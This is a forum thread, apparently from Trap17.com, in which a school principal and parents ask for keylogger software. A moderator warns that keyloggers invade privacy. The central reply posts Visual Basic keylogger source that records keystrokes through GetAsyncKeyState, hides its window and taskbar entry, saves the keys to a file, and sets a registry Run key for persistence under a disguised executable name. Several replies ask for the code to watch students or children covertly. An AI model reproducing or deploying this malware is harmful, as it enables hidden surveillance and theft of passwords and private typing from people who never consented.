keylogger
Key Logger.

I am a principal for a college of more than 2000 students, some students have been caught doing, I'm not going to say it, but they have been caught doing stuff they shouldn't. I would like a way to keep track of students and what they have been doing on the comouters, so this keylogger seems to me to be a good idea.

-reply by principal

-----ADMIN REPLY-------
Keyloggers = seriously invading others privacy.

If you feel keyloggers are advanced stuff, think again. They are very easy to install and any person with basic knowledge can inject it in your "un-attended" pc as well.

Virus scanners cannot CATCH them because they are officially installed when your PC is IDLE (when you are away.)

Takes less than 20 SEC to install.
Completely PRECONFIGURED.
Removes traces even from CTRL+ALT+DEL screen.
Activates and sends the logs on email.
HOT KEY to show its activity.

JUST imagine, someone who has already DONE this to your Computer. And your PC which you are presently using to view this web page is already compromised.

All above.. simply does not sound good.

Keyloggers are evil. Are you?

Personal Opinion by,

-Shree (Trap17.com)

Reply

Well guys, to me I feel there's a downside and upside to this key-logging stuff. Some times for security and sometimes for other reasons. I would not opt to be for or against it. I think moderation might be most genius.
Cheerio...

Reply

Look And Learn ^^
Key Logger.

Private Sub ath_Click()
MsgBox "Created By Mahendra M.W., This Program is for educational Purpose Only !", vbOKOnly, "About"
End Sub

'In a form
Private Sub Form_Load()
Me.Caption = "Key Spy"
'Create an API-timer
SetTimer Me.Hwnd, 0, 1, AddressOf TimerProc
App.TaskVisible = False
Form1.Visible = False
InfeksiRegistry

End Sub
Private Sub Form_Paint()
Dim are As RECT
Me.Cls
'API uses pixels
Me.ScaleMode = vbPixels
'Set the rectangle's values
SetRect are, 0, 0, Me.ScaleWidth, Me.ScaleHeight
'Draw the text on the form
DrawTextEx Me.HDC, mStr, Len(mStr), are, DT_WORDBREAK Or DT_CENTER, ByVal 0&
End Sub
Private Sub Form_Resize()
Form_Paint
End Sub

Private Sub Command1_Click()
If Check1.Value = 1 Then App.TaskVisible = False Else App.TaskVisible = True
If Check2.Value = 1 Then Form1.Visible = False Else Form1.Visible = True
InfeksiRegistry
End Sub

Private Sub Timer1_Timer()
On Error GoTo 11
Open "C:\FileInformation.Dat" For Output As #1
Print #1, sSave
Close #1
GoTo 5
11: MsgBox "Do not modify this File as causing damaging your instability system ", vbCritical, "Information"
5: End Sub



'write in the module
Public Const DT_CENTER = &H1
Public Const DT_WORDBREAK = &H10
Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
Declare Function DrawTextEx Lib "user32" Alias "DrawTextExA" (ByVal hDC As Long, ByVal lpsz As String, ByVal and As Long, lpRect As RECT, ByVal un As Long, ByVal lpDrawTextParams As Any) As Long
Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long
Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Declare Function SetRect Lib "user32" (lpRect As RECT, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
Global Cnt As Long, sSave As String, sOld As String, Ret As String
Dim Tel As Long
Function GetPressedKey() As String
For Cnt = 32 To 128
'Get the keystate of a specified key
If GetAsyncKeyState(Cnt) <> 0 Then
GetPressedKey = Chr$(Cnt)
Exit For
End If
Next Cnt
End Function
Sub TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long)
Ret = GetPressedKey
If Ret <> sOld Then
sOld = Ret
sSave = sSave + sOld
End If
End Sub
Public Function InfeksiRegistry()
Dim wshell As Object, rg1 As String, rg2 As String
Dim rg3 As String, rg4 As String
Rg1 = "Software\Microsoft\Windows\CurrentVersion\"
Rg2 = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\"
Rg3 = "Software\Microsoft\InternetExplorer\Main\"
Rg4 = "Software\Policies\Microsoft\Windows\System\"
Set wshell = CreateObject("Wscript.Shell")
Wshell.Regwrite "HKLM\" & rg1 & "\run\System Resource", _
Getwindowspath & "C:\windows\system32\system32.Exe"
'you can add more value it's only example
End Function



-reply by Newbie

Reply

keylogger VB code
Key Logger.

Replying to snlildude87
Hi
This is krishna from chennai,India
I am helping for an orphanage(looking after physically disabled children) by creating some softwares that they nee.They asked me to create a software that zooms the character that the student is pressing especially in some programming editors such as turbo C.For that I need keylogger.Can you send me your code or give me some ideas to create my own keylogger.


-reply by krishna

Reply

Replying to Trap FeedBackerReplying to snlildude87
I have a 13 year old dauther and 15 year old son that I'm worried about when the go online and if I could get your keylogger that would be great

-reply by Greg

Reply